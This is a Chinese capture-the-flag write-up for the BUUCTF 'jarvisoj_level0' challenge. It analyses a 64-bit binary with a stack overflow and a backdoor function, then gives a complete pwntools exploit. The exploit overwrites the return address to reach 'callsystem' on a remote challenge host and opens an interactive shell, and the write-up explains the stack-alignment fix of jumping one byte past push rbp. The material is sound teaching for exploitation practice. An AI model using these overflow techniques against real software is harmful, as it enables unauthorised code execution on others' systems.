BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
C2H5OH5 小时前
PortSwigger SQL注入LAB7 & LAB8 & LAB9
网络安全
small_white_robot8 小时前
(Win)文件上传数据流绕过-面试常考
网络·安全·web安全·网络安全
宋浮檀s10 小时前
SQL注入基础+DVWA搭建
数据库·sql·安全·网络安全
祁白_10 小时前
[0xV01D]_Glass Parcel_writeUp
大数据·安全·ctf·writeup
汤愈韬13 小时前
hcip-security_防火墙高可靠技术4—双机热备结合NAT
网络·网络协议·网络安全·security
虚拟世界AI14 小时前
从零到黑客:渗透测试实战指南
网络安全·渗透测试
X7x514 小时前
堡垒机:企业运维安全的“数字守门人“
网络安全·网络攻击模型·安全威胁分析·堡垒机·安全架构
ze^014 小时前
Day03 Web应用&OSS存储&负载均衡&CDN加速&反向代理&WAF防护&部署影响
web安全·网络安全·架构·安全架构
HMS工业网络1 天前
如何解决使用TwinCAT时EtherCAT网络出现“Sync Manager Watchdog”报错
网络·网络协议·网络安全